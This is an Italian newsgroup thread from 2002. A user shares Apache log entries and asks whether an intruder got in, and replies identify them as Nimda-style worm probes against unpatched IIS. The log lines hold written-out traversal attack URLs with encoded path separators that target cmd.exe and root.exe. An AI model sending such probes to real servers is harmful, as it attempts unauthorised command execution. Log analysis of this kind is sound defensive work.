Newsgroup: it.comp.sicurezza.varie
Titolo: log in apache presumo che qualche furbone provasse ad entrare nel pc che dite ?

questo qui sotto e' parte del log di apache di oggi
mi pare di capire che qualche furbone ha provato ad andarsene in giro sul
mio pc, c'e' un modo per sapere se c'e' effettivamente riuscito ?
da quello che vedo qui credo che si sia sempre preso le pagine di errore 404
o 400 , voi che dite ?
grazie
h21n2fls31o99.telia.com
 - - [26/Jul/2002:10:17:53 +0200] "GET
/scripts/root.exe?/c+dir HTTP/1.0" 404 825
h21n2fls31o99.telia.com
 - - [26/Jul/2002:10:17:55 +0200] "GET
/MSADC/root.exe?/c+dir HTTP/1.0" 404 825
h21n2fls31o99.telia.com
 - - [26/Jul/2002:10:17:58 +0200] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 825
h21n2fls31o99.telia.com
 - - [26/Jul/2002:10:17:59 +0200] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 825
h21n2fls31o99.telia.com
 - - [26/Jul/2002:10:18:01 +0200] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 825
h21n2fls31o99.telia.com
 - - [26/Jul/2002:10:18:03 +0200] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 825
h21n2fls31o99.telia.com
 - - [26/Jul/2002:10:18:06 +0200] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 825
h21n2fls31o99.telia.com
 - - [26/Jul/2002:10:18:07 +0200] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir HTTP/1.0" 404 825
h21n2fls31o99.telia.com
 - - [26/Jul/2002:10:18:08 +0200] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 825
h21n2fls31o99.telia.com
 - - [26/Jul/2002:10:18:09 +0200] "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 825
h21n2fls31o99.telia.com
 - - [26/Jul/2002:10:18:11 +0200] "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 825
h21n2fls31o99.telia.com
 - - [26/Jul/2002:10:18:13 +0200] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 825
h21n2fls31o99.telia.com
 - - [26/Jul/2002:10:18:14 +0200] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 752
h21n2fls31o99.telia.com
 - - [26/Jul/2002:10:18:16 +0200] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 752
h21n2fls31o99.telia.com
 - - [26/Jul/2002:10:18:18 +0200] "GET
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 825
h21n2fls31o99.telia.com
 - - [26/Jul/2002:10:18:20 +0200] "GET
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 825

 o 400 , voi che dite ?
Dico che se avessi cercato in giro, sapresti che trattasi di un worm 
(nimda o altro) che cerca di sfruttare un baco di IIS non patchato, e che 
quindi non hai nulla da preoccuparti.
-- 
HappyCactus - Registered Linux User #209744
http://www.angelfire.com/jazz/happycactus/index.html
Made with 100% recycled electrons


sicuramente cerchero' in giro meglio , comunque nimda sapevo che si
propagava via e-mail o via lan , mi mancava che si propagasse anche in altri
modi

 in altri modi
Si propaga autonomamente anche da server a server e da server
a client.
A proposito, il 19 luglio ci siamo dimenticati una ricorrenza
importante: buon compleanno, codered :)
Fabio